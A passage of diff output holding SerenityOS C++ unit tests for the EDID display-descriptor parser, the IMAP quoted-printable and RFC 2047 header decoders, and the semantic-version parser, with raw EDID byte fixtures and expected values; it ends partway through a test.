EXPECT(screen_size.has_value());
EXPECT(screen_size.value().horizontal_cm() == 60);
EXPECT(screen_size.value().vertical_cm() == 34);
auto gamma = edid.gamma();
EXPECT(gamma.has_value());
EXPECT(gamma.value() >= 2.19f && gamma.value() <= 2.21f);
EXPECT(edid.display_product_name() == "CB272U");
{
static constexpr struct {
unsigned width;
unsigned height;
unsigned refresh_rate;
EDID::Parser::EstablishedTiming::Source source;
u8 dmt_id { 0 };
} expected_established_timings[] = {
{ 720, 400, 70, EDID::Parser::EstablishedTiming::Source::IBM },
{ 640, 480, 60, EDID::Parser::EstablishedTiming::Source::IBM, 0x4 },
{ 640, 480, 67, EDID::Parser::EstablishedTiming::Source::Apple },
{ 640, 480, 73, EDID::Parser::EstablishedTiming::Source::VESA, 0x5 },
{ 640, 480, 75, EDID::Parser::EstablishedTiming::Source::VESA, 0x6 },
{ 800, 600, 56, EDID::Parser::EstablishedTiming::Source::VESA, 0x8 },
{ 800, 600, 60, EDID::Parser::EstablishedTiming::Source::VESA, 0x9 },
{ 800, 600, 72, EDID::Parser::EstablishedTiming::Source::VESA, 0xa },
{ 800, 600, 75, EDID::Parser::EstablishedTiming::Source::VESA, 0xb },
{ 832, 624, 75, EDID::Parser::EstablishedTiming::Source::Apple },
{ 1024, 768, 60, EDID::Parser::EstablishedTiming::Source::VESA, 0x10 },
{ 1024, 768, 70, EDID::Parser::EstablishedTiming::Source::VESA, 0x11 },
{ 1024, 768, 75, EDID::Parser::EstablishedTiming::Source::VESA, 0x12 },
{ 1280, 1024, 75, EDID::Parser::EstablishedTiming::Source::VESA, 0x24 },
{ 1152, 870, 75, EDID::Parser::EstablishedTiming::Source::Apple }
};
static constexpr size_t expected_established_timings_count = sizeof(expected_established_timings) / sizeof(expected_established_timings[0]);
size_t established_timings_found = 0;
auto result = TRY_OR_FAIL(edid.for_each_established_timing([&](auto& established_timings) {
EXPECT(established_timings_found < expected_established_timings_count);
auto& expected_timings = expected_established_timings[established_timings_found];
EXPECT(established_timings.width() == expected_timings.width);
EXPECT(established_timings.height() == expected_timings.height);
EXPECT(established_timings.refresh_rate() == expected_timings.refresh_rate);
EXPECT(established_timings.source() == expected_timings.source);
EXPECT(established_timings.dmt_id() == expected_timings.dmt_id);
established_timings_found++;
return IterationDecision::Continue;
}));
EXPECT(result == IterationDecision::Continue);
EXPECT(established_timings_found == expected_established_timings_count);
}
{
static constexpr struct {
unsigned width;
unsigned height;
unsigned refresh_rate;
u8 dmt_id { 0 };
} expected_standard_established_timings[] = {
{ 1920, 1080, 60, 0x52 },
{ 1680, 1050, 60, 0x3a },
{ 1440, 900, 60, 0x2f },
{ 1280, 1024, 60, 0x23 },
{ 1280, 960, 60, 0x20 },
{ 1280, 720, 60, 0x55 },
};
static constexpr size_t expected_standard_timings_count = sizeof(expected_standard_established_timings) / sizeof(expected_standard_established_timings[0]);
size_t standard_timings_found = 0;
auto result = TRY_OR_FAIL(edid.for_each_standard_timing([&](auto& standard_timings) {
EXPECT(standard_timings_found < expected_standard_timings_count);
auto& expected_timings = expected_standard_established_timings[standard_timings_found];
EXPECT(standard_timings.dmt_id() == expected_timings.dmt_id);
EXPECT(standard_timings.width() == expected_timings.width);
EXPECT(standard_timings.height() == expected_timings.height);
EXPECT(standard_timings.refresh_rate() == expected_timings.refresh_rate);
standard_timings_found++;
return IterationDecision::Continue;
}));
EXPECT(result == IterationDecision::Continue);
EXPECT(standard_timings_found == expected_standard_timings_count);
}
{
static constexpr struct {
unsigned block_id;
unsigned width;
unsigned height;
unsigned refresh_rate;
} expected_detailed_timings[] = {
{ 0, 2560, 1440, 75 },
{ 0, 2560, 1440, 60 },
{ 1, 1280, 720, 60 },
{ 1, 1280, 720, 50 },
{ 1, 2560, 1440, 60 }
};
static constexpr size_t expected_detailed_timings_count = sizeof(expected_detailed_timings) / sizeof(expected_detailed_timings[0]);
size_t detailed_timings_found = 0;
auto result = TRY_OR_FAIL(edid.for_each_detailed_timing([&](auto& detailed_timing, unsigned block_id) {
EXPECT(detailed_timings_found < expected_detailed_timings_count);
auto& expected_timings = expected_detailed_timings[detailed_timings_found];
EXPECT(block_id == expected_timings.block_id);
EXPECT(detailed_timing.horizontal_addressable_pixels() == expected_timings.width);
EXPECT(detailed_timing.vertical_addressable_lines() == expected_timings.height);
EXPECT(detailed_timing.refresh_rate().lrint() == expected_timings.refresh_rate);
detailed_timings_found++;
return IterationDecision::Continue;
}));
EXPECT(result == IterationDecision::Continue);
EXPECT(detailed_timings_found == expected_detailed_timings_count);
}
{
static constexpr u8 expected_vic_ids[] = { 18, 19, 4, 31, 16, 20, 5, 1, 17, 2, 3, 74 };
static constexpr size_t expected_vic_ids_count = sizeof(expected_vic_ids) / sizeof(expected_vic_ids[0]);
size_t vic_ids_found = 0;
auto result = TRY_OR_FAIL(edid.for_each_short_video_descriptor([&](unsigned block_id, bool is_native, EDID::VIC::Details const& vic) {
EXPECT(vic_ids_found < expected_vic_ids_count);
EXPECT(block_id == 1);
EXPECT(is_native == (vic_ids_found == 4)); // the 5th value is marked native
EXPECT(vic.vic_id == expected_vic_ids[vic_ids_found]);
vic_ids_found++;
return IterationDecision::Continue;
}));
EXPECT(result == IterationDecision::Continue);
EXPECT(vic_ids_found == expected_vic_ids_count);
}
{
// This edid has one CEA861 extension block only
size_t extension_blocks_found = 0;
auto result = TRY_OR_FAIL(edid.for_each_extension_block([&](unsigned block_id, u8 tag, u8 revision, ReadonlyBytes) {
EXPECT(block_id == 1);
EXPECT(tag == 0x2);
EXPECT(revision == 3);
extension_blocks_found++;
return IterationDecision::Continue;
}));
EXPECT(result == IterationDecision::Continue);
EXPECT(extension_blocks_found == 1);
}
}
// This EDID has extension maps
static u8 const edid_extension_maps[] = {
0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x4d, 0x29, 0x48, 0x44,
0x01, 0x00, 0x00, 0x00, 0x0a, 0x0d, 0x01, 0x03, 0x80, 0x50, 0x2d, 0x78,
0x0a, 0x0d, 0xc9, 0xa0, 0x57, 0x47, 0x98, 0x27, 0x12, 0x48, 0x4c, 0x20,
0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x1d, 0x80, 0x18, 0x71, 0x1c,
0x16, 0x20, 0x58, 0x2c, 0x25, 0x00, 0x20, 0xc2, 0x31, 0x00, 0x00, 0x9e,
0x8c, 0x0a, 0xd0, 0x8a, 0x20, 0xe0, 0x2d, 0x10, 0x10, 0x3e, 0x96, 0x00,
0x13, 0x8e, 0x21, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0xfc, 0x00, 0x48,
0x44, 0x4d, 0x49, 0x20, 0x54, 0x56, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20,
0x00, 0x00, 0x00, 0xfd, 0x00, 0x3b, 0x3d, 0x0f, 0x2e, 0x08, 0x02, 0x00,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x03, 0xf1, 0xf0, 0x02, 0x02, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x0c, 0x02, 0x03, 0x1e, 0xf1, 0x4a, 0x85, 0x04, 0x10,
0x02, 0x01, 0x06, 0x14, 0x12, 0x16, 0x13, 0x23, 0x09, 0x07, 0x07, 0x83,
0x01, 0x00, 0x00, 0x66, 0x03, 0x0c, 0x00, 0x10, 0x00, 0x80, 0x01, 0x1d,
0x00, 0x72, 0x51, 0xd0, 0x1e, 0x20, 0x6e, 0x28, 0x55, 0x00, 0xc4, 0x8e,
0x21, 0x00, 0x00, 0x1e, 0xd6, 0x09, 0x80, 0xa0, 0x20, 0xe0, 0x2d, 0x10,
0x10, 0x60, 0x22, 0x00, 0x12, 0x8e, 0x21, 0x08, 0x08, 0x18, 0x8c, 0x0a,
0xd0, 0x90, 0x20, 0x40, 0x31, 0x20, 0x0c, 0x40, 0x55, 0x00, 0xc4, 0x8e,
0x21, 0x00, 0x00, 0x18, 0x01, 0x1d, 0x80, 0xd0, 0x72, 0x1c, 0x16, 0x20,
0x10, 0x2c, 0x25, 0x80, 0xc4, 0x8e, 0x21, 0x00, 0x00, 0x9e, 0x8c, 0x0a,
0xa0, 0x14, 0x51, 0xf0, 0x16, 0x00, 0x26, 0x7c, 0x43, 0x00, 0x13, 0x8e,
0x21, 0x00, 0x00, 0x98, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf5,
0x02, 0x03, 0x04, 0xf1, 0xf3, 0x39, 0x80, 0x18, 0x71, 0x38, 0x2d, 0x40,
0x58, 0x2c, 0x45, 0x00, 0xc4, 0x8e, 0x21, 0x00, 0x00, 0x1e, 0x8c, 0x0a,
0xa0, 0x20, 0x51, 0x20, 0x18, 0x10, 0x18, 0x7e, 0x23, 0x00, 0xc4, 0x8e,
0x21, 0x00, 0x00, 0x98, 0x01, 0x1d, 0x00, 0xbc, 0x52, 0xd0, 0x1e, 0x20,
0xb8, 0x28, 0x55, 0x40, 0xc4, 0x8e, 0x21, 0x00, 0x00, 0x1e, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xdf
};
TEST_CASE(edid_extension_maps)
{
auto edid = TRY_OR_FAIL(EDID::Parser::from_bytes({ edid_extension_maps, sizeof(edid_extension_maps) }));
EXPECT(edid.legacy_manufacturer_id() == "SII");
{
static constexpr struct {
unsigned block_id;
unsigned width;
unsigned height;
unsigned refresh_rate;
} expected_detailed_timings[] = {
{ 0, 1920, 1080, 60 },
{ 0, 720, 480, 60 },
{ 2, 1280, 720, 60 },
{ 2, 640, 480, 60 },
{ 2, 720, 576, 50 },
{ 2, 1920, 1080, 50 },
{ 2, 1440, 480, 60 },
{ 3, 1920, 1080, 60 },
{ 3, 1440, 576, 50 },
{ 3, 1280, 720, 50 }
};
static constexpr size_t expected_detailed_timings_count = sizeof(expected_detailed_timings) / sizeof(expected_detailed_timings[0]);
size_t detailed_timings_found = 0;
auto result = TRY_OR_FAIL(edid.for_each_detailed_timing([&](auto& detailed_timing, unsigned block_id) {
EXPECT(detailed_timings_found < expected_detailed_timings_count);
auto& expected_timings = expected_detailed_timings[detailed_timings_found];
EXPECT(block_id == expected_timings.block_id);
EXPECT(detailed_timing.horizontal_addressable_pixels() == expected_timings.width);
EXPECT(detailed_timing.vertical_addressable_lines() == expected_timings.height);
EXPECT(detailed_timing.refresh_rate().lrint() == expected_timings.refresh_rate);
detailed_timings_found++;
return IterationDecision::Continue;
}));
EXPECT(result == IterationDecision::Continue);
EXPECT(detailed_timings_found == expected_detailed_timings_count);
}
}
static u8 const edid_1_0[] = {
0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x34, 0x38, 0xc2, 0x0b,
0x7b, 0x00, 0x00, 0x00, 0x0f, 0x0a, 0x01, 0x00, 0x28, 0x20, 0x18, 0x32,
0xe8, 0x7e, 0x4e, 0x9e, 0x57, 0x45, 0x98, 0x24, 0x10, 0x47, 0x4f, 0xa4,
0x42, 0x01, 0x31, 0x59, 0x45, 0x59, 0x61, 0x59, 0x71, 0x4f, 0x81, 0x80,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0xf9, 0x15, 0x20, 0xf8, 0x30, 0x58,
0x1f, 0x20, 0x20, 0x40, 0x13, 0x00, 0x40, 0xf0, 0x10, 0x00, 0x00, 0x1e,
0xa4, 0x1a, 0x20, 0x10, 0x31, 0x58, 0x24, 0x20, 0x2f, 0x55, 0x33, 0x00,
0x40, 0xf0, 0x10, 0x00, 0x00, 0x1e, 0x30, 0x2a, 0x00, 0x98, 0x51, 0x00,
0x2a, 0x40, 0x30, 0x70, 0x13, 0x00, 0x40, 0xf0, 0x10, 0x00, 0x00, 0x1e,
0xea, 0x24, 0x00, 0x60, 0x41, 0x00, 0x28, 0x30, 0x30, 0x60, 0x13, 0x00,
0x40, 0xf0, 0x10, 0x00, 0x00, 0x1e, 0x00, 0x72
};
TEST_CASE(edid_1_0)
{
auto edid = TRY_OR_FAIL(EDID::Parser::from_bytes({ edid_1_0, sizeof(edid_1_0) }));
EXPECT(edid.legacy_manufacturer_id() == "MAX");
EXPECT(edid.serial_number() == 123);
{
static constexpr struct {
unsigned block_id;
unsigned width;
unsigned height;
unsigned refresh_rate;
} expected_detailed_timings[] = {
{ 0, 800, 600, 85 },
{ 0, 800, 600, 100 },
{ 0, 1280, 1024, 60 },
{ 0, 1024, 768, 85 }
};
static constexpr size_t expected_detailed_timings_count = sizeof(expected_detailed_timings) / sizeof(expected_detailed_timings[0]);
size_t detailed_timings_found = 0;
auto result = TRY_OR_FAIL(edid.for_each_detailed_timing([&](auto& detailed_timing, unsigned block_id) {
EXPECT(detailed_timings_found < expected_detailed_timings_count);
auto& expected_timings = expected_detailed_timings[detailed_timings_found];
EXPECT(block_id == expected_timings.block_id);
EXPECT(detailed_timing.horizontal_addressable_pixels() == expected_timings.width);
EXPECT(detailed_timing.vertical_addressable_lines() == expected_timings.height);
EXPECT(detailed_timing.refresh_rate().lrint() == expected_timings.refresh_rate);
detailed_timings_found++;
return IterationDecision::Continue;
}));
EXPECT(result == IterationDecision::Continue);
EXPECT(detailed_timings_found == expected_detailed_timings_count);
}
}
TEST_CASE(dmt_find_std_id)
{
auto* dmt = EDID::DMT::find_timing_by_std_id(0xd1, 0xf);
EXPECT(dmt);
EXPECT(dmt->dmt_id == 0x46);
EXPECT(dmt->horizontal_pixels == 1920 && dmt->vertical_lines == 1200);
}
TEST_CASE(dmt_frequency)
{
auto* dmt = EDID::DMT::find_timing_by_dmt_id(0x4);
EXPECT(dmt);
// FIXME: Use the FixedPoint(double) ctor like `expected_vertical_frequency(59.940)` instead of
// dividing by 1000 in the next line once FixedPoint::operator/ rounds.
// 1. DMT.cpp is built as part of the kernel (despite being in Userland/)
// 2. The Kernel can't use floating point
// 3. So it has to use FixedPoint(59940) / 1000
// 4. The FixedPoint(double) ctor rounds, but FixedPoint::operator/ currently doesn't,
// so FixedPoint(59.940) has a different lowest bit than
// FixedPoint(59940) / 1000. So the test can't use the FixedPoint(double) ctor at the moment.
static FixedPoint<16, u32> const expected_vertical_frequency(59940);
EXPECT(dmt->vertical_frequency_hz() == expected_vertical_frequency / 1000);
static FixedPoint<16, u32> const expected_horizontal_frequency(31469);
EXPECT(dmt->horizontal_frequency_khz() == expected_horizontal_frequency / 1000);
}
TEST_CASE(vic)
{
EXPECT(!EDID::VIC::find_details_by_vic_id(0)); // invalid
EXPECT(!EDID::VIC::find_details_by_vic_id(160)); // forbidden range
EXPECT(!EDID::VIC::find_details_by_vic_id(250)); // reserved
auto* vic_def_32 = EDID::VIC::find_details_by_vic_id(32);
EXPECT(vic_def_32);
EXPECT(vic_def_32->vic_id == 32);
auto* vic_def_200 = EDID::VIC::find_details_by_vic_id(200);
EXPECT(vic_def_200);
EXPECT(vic_def_200->vic_id == 200);
for (unsigned vic_id = 0; vic_id <= 0xff; vic_id++) {
auto* vic_def = EDID::VIC::find_details_by_vic_id((u8)vic_id);
if (vic_def) {
EXPECT((vic_id >= 1 && vic_id <= 127) || (vic_id >= 193 && vic_id <= 219));
EXPECT(vic_def->vic_id == vic_id);
} else {
EXPECT(vic_id == 0 || (vic_id >= 128 && vic_id <= 192) || (vic_id >= 220));
}
}
}

View file

@ -1,8 +0,0 @@
set(TEST_SOURCES
TestQuotedPrintable.cpp
TestMessageHeaderEncoding.cpp
)
foreach(source IN LISTS TEST_SOURCES)
serenity_test("${source}" LibIMAP LIBS LibIMAP)
endforeach()

View file

@ -1,55 +0,0 @@
/*
* Copyright (c) 2023, Valtteri Koskivuori <vkoskiv@gmail.com>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/CharacterTypes.h>
#include <LibIMAP/MessageHeaderEncoding.h>
#include <LibTest/TestCase.h>
TEST_CASE(test_decode)
{
auto decode_equal = [](StringView input, StringView expected) {
auto decoded = MUST(IMAP::decode_rfc2047_encoded_words(input));
EXPECT_EQ(StringView(decoded), StringView(expected));
};
// Underscores should end up as spaces
decode_equal("=?utf-8?Q?Spaces_should_be_spaces_!?="sv, "Spaces should be spaces !"sv);
// RFC 2047 Section 8 "Examples", https://datatracker.ietf.org/doc/html/rfc2047#section-8
decode_equal("=?ISO-8859-1?Q?a?="sv, "a"sv);
decode_equal("=?ISO-8859-1?Q?a?= b"sv, "a b"sv);
// White space between adjacent 'encoded-word's is not displayed.
decode_equal("=?ISO-8859-1?Q?a?= =?ISO-8859-1?Q?b?="sv, "ab"sv);
// Even multiple SPACEs between 'encoded-word's are ignored for the purpose of display.
decode_equal("=?ISO-8859-1?Q?a?= =?ISO-8859-1?Q?b?="sv, "ab"sv);
decode_equal("=?ISO-8859-1?Q?a?= =?ISO-8859-1?Q?b?= =?ISO-8859-1?Q?c?==?ISO-8859-1?Q?d?="sv, "abcd"sv);
// Any amount of linear-space-white between 'encoded-word's, even if it includes a CRLF followed by one or more SPACEs, is ignored for the purposes of display.
decode_equal("=?utf-8?Q?a?=\r\n=?utf-8?Q?b?= \r\n=?utf-8?Q?c?=\r\n =?utf-8?Q?d?="sv, "abcd"sv);
// In order to cause a SPACE to be displayed within a portion of encoded text, the SPACE MUST be encoded as part of the 'encoded-word'.
decode_equal("=?ISO-8859-1?Q?a_b?="sv, "a b"sv);
// In order to cause a SPACE to be displayed between two strings of encoded text, the SPACE MAY be encoded as part of one of the 'encoded-word's.
decode_equal("=?ISO-8859-1?Q?a?= =?ISO-8859-2?Q?_b?="sv, "a b"sv);
// More examples from the RFC document, a nice mix of different charsets & encodings.
auto long_input = "From: =?US-ASCII?Q?Keith_Moore?= <moore@cs.utk.edu>"
"To: =?ISO-8859-1?Q?Keld_J=F8rn_Simonsen?= <keld@dkuug.dk>"
"CC: =?ISO-8859-1?Q?Andr=E9?= Pirard <PIRARD@vm1.ulg.ac.be>"
"Subject: =?ISO-8859-1?B?SWYgeW91IGNhbiByZWFkIHRoaXMgeW8=?="
"=?ISO-8859-2?B?dSB1bmRlcnN0YW5kIHRoZSBleGFtcGxlLg==?="sv;
auto long_expected = "From: Keith Moore <moore@cs.utk.edu>"
"To: Keld Jørn Simonsen <keld@dkuug.dk>"
"CC: André Pirard <PIRARD@vm1.ulg.ac.be>"
"Subject: If you can read this you understand the example."sv;
decode_equal(long_input, long_expected);
}

View file

@ -1,62 +0,0 @@
/*
* Copyright (c) 2021, Luke Wilde <lukew@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/CharacterTypes.h>
#include <LibIMAP/QuotedPrintable.h>
#include <LibTest/TestCase.h>
TEST_CASE(test_decode)
{
auto decode_equal = [](StringView input, StringView expected) {
auto decoded = MUST(IMAP::decode_quoted_printable(input));
EXPECT(decoded.bytes() == expected.bytes());
};
auto decode_equal_byte_buffer = [](StringView input, StringView expected) {
auto decoded = MUST(IMAP::decode_quoted_printable(input));
EXPECT(decoded.bytes() == expected.bytes());
};
decode_equal("hello world"sv, "hello world"sv);
decode_equal("=3D"sv, "="sv);
decode_equal("hello=\r\n world"sv, "hello world"sv);
decode_equal("=68=65=6C=6C=6F=20=\r\n=77=6F=72=6C=64"sv, "hello world"sv);
// Doesn't mistake hex sequences without a preceding '=' as an escape sequence.
decode_equal("4A=4B=4C4D"sv, "4AKL4D"sv);
// Allows lowercase escape sequences.
decode_equal("=4a=4b=4c=4d=4e=4f"sv, "JKLMNO"sv);
// Bytes for U+1F41E LADY BEETLE
decode_equal_byte_buffer("=F0=9F=90=9E"sv, "\xF0\x9F\x90\x9E"sv);
// Illegal characters. If these aren't escaped, they are simply ignored.
// Illegal characters are:
// - ASCII control bytes that aren't tab, carriage return or new line
// - Any byte above 0x7E
StringBuilder illegal_character_builder;
for (u16 byte = 0; byte <= 0xFF; ++byte) {
if (byte > 0x7E || (is_ascii_control(byte) && byte != '\t' && byte != '\r' && byte != '\n'))
illegal_character_builder.append(byte);
}
auto illegal_character_decode = MUST(IMAP::decode_quoted_printable(illegal_character_builder.to_byte_string()));
EXPECT(illegal_character_decode.is_empty());
// If an escape sequence is invalid the characters are output unaltered. Illegal characters are ignored as usual.
decode_equal("="sv, "="sv);
decode_equal("=Z"sv, "=Z"sv);
decode_equal("=\x7F"sv, "="sv);
decode_equal("=\x7F\x7F"sv, "="sv);
decode_equal("=A\x7F"sv, "=A"sv);
decode_equal("=A"sv, "=A"sv);
decode_equal("=AZ"sv, "=AZ"sv);
decode_equal("=\r"sv, "=\r"sv);
decode_equal("=\r\r"sv, "=\r\r"sv);
decode_equal("=\n\r"sv, "=\n\r"sv);
decode_equal("=\rA"sv, "=\rA"sv);
}

View file

@ -1,8 +0,0 @@
set(TEST_SOURCES
TestFromStringView.cpp
TestSemVer.cpp
)
foreach(source IN LISTS TEST_SOURCES)
serenity_test("${source}" LibSemVer LIBS LibSemVer)
endforeach()

View file

@ -1,103 +0,0 @@
/*
* Copyright (c) 2023, Gurkirat Singh <tbhaxor@gmail.com>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/StringView.h>
#include <AK/Vector.h>
#include <LibSemVer/SemVer.h>
#include <LibTest/TestCase.h>
TEST_CASE(parsing) // NOLINT(readability-function-cognitive-complexity)
{
EXPECT(!SemVer::is_valid("1"sv));
EXPECT(!SemVer::is_valid("1.2"sv));
EXPECT(!SemVer::is_valid("1.1.2+.123"sv));
EXPECT(!SemVer::is_valid("1.2.3-0123"sv));
EXPECT(!SemVer::is_valid("1.2.3-0123.0123"sv));
EXPECT(!SemVer::is_valid("+invalid"sv));
EXPECT(!SemVer::is_valid("-invalid"sv));
EXPECT(!SemVer::is_valid("-invalid+invalid"sv));
EXPECT(!SemVer::is_valid("-invalid.01"sv));
EXPECT(!SemVer::is_valid("1 .2.3-this.is.invalid"sv));
EXPECT(!SemVer::is_valid("1.2.3-this .is. also .invalid"sv));
EXPECT(!SemVer::is_valid("1.2.3"sv, ' '));
EXPECT(!SemVer::is_valid("alpha"sv));
EXPECT(!SemVer::is_valid("alpha.beta"sv));
EXPECT(!SemVer::is_valid("alpha.beta.1"sv));
EXPECT(!SemVer::is_valid("alpha.1"sv));
EXPECT(!SemVer::is_valid("alpha+beta"sv));
EXPECT(!SemVer::is_valid("alpha_beta"sv));
EXPECT(!SemVer::is_valid("alpha."sv));
EXPECT(!SemVer::is_valid("alpha.."sv));
EXPECT(!SemVer::is_valid("beta"sv));
EXPECT(!SemVer::is_valid("1.0.0-alpha_beta"sv));
EXPECT(!SemVer::is_valid("-alpha."sv));
EXPECT(!SemVer::is_valid("1.0.0-alpha.."sv));
EXPECT(!SemVer::is_valid("1.0.0-alpha..1"sv));
EXPECT(!SemVer::is_valid("1.0.0-alpha...1"sv));
EXPECT(!SemVer::is_valid("1.0.0-alpha....1"sv));
EXPECT(!SemVer::is_valid("1.0.0-alpha.....1"sv));
EXPECT(!SemVer::is_valid("1.0.0-alpha......1"sv));
EXPECT(!SemVer::is_valid("1.0.0-alpha.......1"sv));
EXPECT(!SemVer::is_valid("01.1.1"sv));
EXPECT(!SemVer::is_valid("1.01.1"sv));
EXPECT(!SemVer::is_valid("1.1.01"sv));
EXPECT(!SemVer::is_valid("1.2"sv));
EXPECT(!SemVer::is_valid("1.2.3.DEV"sv));
EXPECT(!SemVer::is_valid("1.2-SNAPSHOT"sv));
EXPECT(!SemVer::is_valid("1.2.31.2.3----RC-SNAPSHOT.12.09.1--..12+788"sv));
EXPECT(!SemVer::is_valid("1.2-RC-SNAPSHOT"sv));
EXPECT(!SemVer::is_valid("-1.0.3-gamma+b7718"sv));
EXPECT(!SemVer::is_valid("+justmeta"sv));
EXPECT(!SemVer::is_valid("9.8.7+meta+meta"sv));
EXPECT(!SemVer::is_valid("9.8.7-whatever+meta+meta"sv));
// Because of size_t overflow, it won't work work version such as 99999999999999999999999
EXPECT(!SemVer::is_valid("99999999999999999999999.999999999999999999.99999999999999999"sv));
EXPECT(SemVer::is_valid("1.0.4"sv));
EXPECT(SemVer::is_valid("1.2.3"sv));
EXPECT(SemVer::is_valid("10.20.30"sv));
EXPECT(SemVer::is_valid("1.1.2-prerelease+meta"sv));
EXPECT(SemVer::is_valid("1.1.2+meta"sv));
EXPECT(SemVer::is_valid("1.1.2+meta-valid"sv));
EXPECT(SemVer::is_valid("1.0.0-alpha"sv));
EXPECT(SemVer::is_valid("1.0.0-beta"sv));
EXPECT(SemVer::is_valid("1.0.0-alpha.beta"sv));
EXPECT(SemVer::is_valid("1.0.0-alpha.beta.1"sv));
EXPECT(SemVer::is_valid("1.0.0-alpha.1"sv));
EXPECT(SemVer::is_valid("1.0.0-alpha0.valid"sv));
EXPECT(SemVer::is_valid("1.0.0-alpha.0valid"sv));
EXPECT(SemVer::is_valid("1.0.0-rc.1+build.1"sv));
EXPECT(SemVer::is_valid("2.0.0-rc.1+build.123"sv));
EXPECT(SemVer::is_valid("1.2.3-beta"sv));
EXPECT(SemVer::is_valid("10.2.3-DEV-SNAPSHOT"sv));
EXPECT(SemVer::is_valid("1.2.3-SNAPSHOT-123"sv));
EXPECT(SemVer::is_valid("1.0.0"sv));
EXPECT(SemVer::is_valid("2.0.0"sv));
EXPECT(SemVer::is_valid("1.1.7"sv));
EXPECT(SemVer::is_valid("2.0.0+build.1848"sv));
EXPECT(SemVer::is_valid("2.0.1-alpha.1227"sv));
EXPECT(SemVer::is_valid("1.0.0-alpha+beta"sv));
EXPECT(SemVer::is_valid("1.0.0-alpha-a.b-c-somethinglong+build.1-aef.1-its-okay"sv));
EXPECT(SemVer::is_valid("1.2.3----RC-SNAPSHOT.12.9.1--.12+788"sv));
EXPECT(SemVer::is_valid("1.2.3----R-S.12.9.1--.12+meta"sv));
EXPECT(SemVer::is_valid("1.2.3----RC-SNAPSHOT.12.9.1--.12"sv));
EXPECT(SemVer::is_valid("1.0.0+0.build.1-rc.10000aaa-kk-0.1"sv));
EXPECT(SemVer::is_valid("1.0.0-0A.is.legal"sv));
}
TEST_CASE(parse_with_different_mmp_sep)
{
// insufficient separators
EXPECT(!SemVer::is_valid("1.2-3"sv));
EXPECT(!SemVer::is_valid("1.2-3"sv, '-'));
// conflicting separators
EXPECT(!SemVer::is_valid("11213"sv, '1'));
// sufficient separators
EXPECT(SemVer::is_valid("1.2.3"sv, '.'));
EXPECT(SemVer::is_valid("1-2-3"sv, '-'));
EXPECT(SemVer::is_valid("1-3-3-pre+build"sv, '-'));
}

View file

@ -1,247 +0,0 @@
/*
* Copyright (c) 2023, Gurkirat Singh <tbhaxor@gmail.com>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/StringView.h>
#include <AK/Vector.h>
#include <LibSemVer/SemVer.h>
#include <LibTest/TestCase.h>
#define GET_SEMVER(expression) \
({ \
auto r = (SemVer::from_string_view(expression)); \
EXPECT(!r.is_error()); \
r.value(); \
})
#define GET_STRING(expression) \
({ \
auto r = (String::from_utf8(expression)); \
EXPECT(!r.is_error()); \
r.value(); \
})
#define IS_SAME_SCENARIO(x, y, op) \
GET_SEMVER(x).is_same(GET_SEMVER(y), op)
#define IS_GREATER_THAN_SCENARIO(x, y) \
GET_SEMVER(x).is_greater_than(GET_SEMVER(y))
#define IS_LESSER_THAN_SCENARIO(x, y) \
GET_SEMVER(x).is_lesser_than(GET_SEMVER(y))
TEST_CASE(to_string) // NOLINT(readability-function-cognitive-complexity, readability-function-size)
{
EXPECT_EQ(GET_SEMVER("1.2.3"sv).to_string(), GET_STRING("1.2.3"sv));
EXPECT_EQ(GET_SEMVER("1.2.3"sv).to_string(), GET_STRING("1.2.3"sv));
EXPECT_EQ(GET_SEMVER("10.20.30"sv).to_string(), GET_STRING("10.20.30"sv));
EXPECT_EQ(GET_SEMVER("1.1.2-prerelease+meta"sv).to_string(), GET_STRING("1.1.2-prerelease+meta"sv));
EXPECT_EQ(GET_SEMVER("1.1.2+meta"sv).to_string(), GET_STRING("1.1.2+meta"sv));
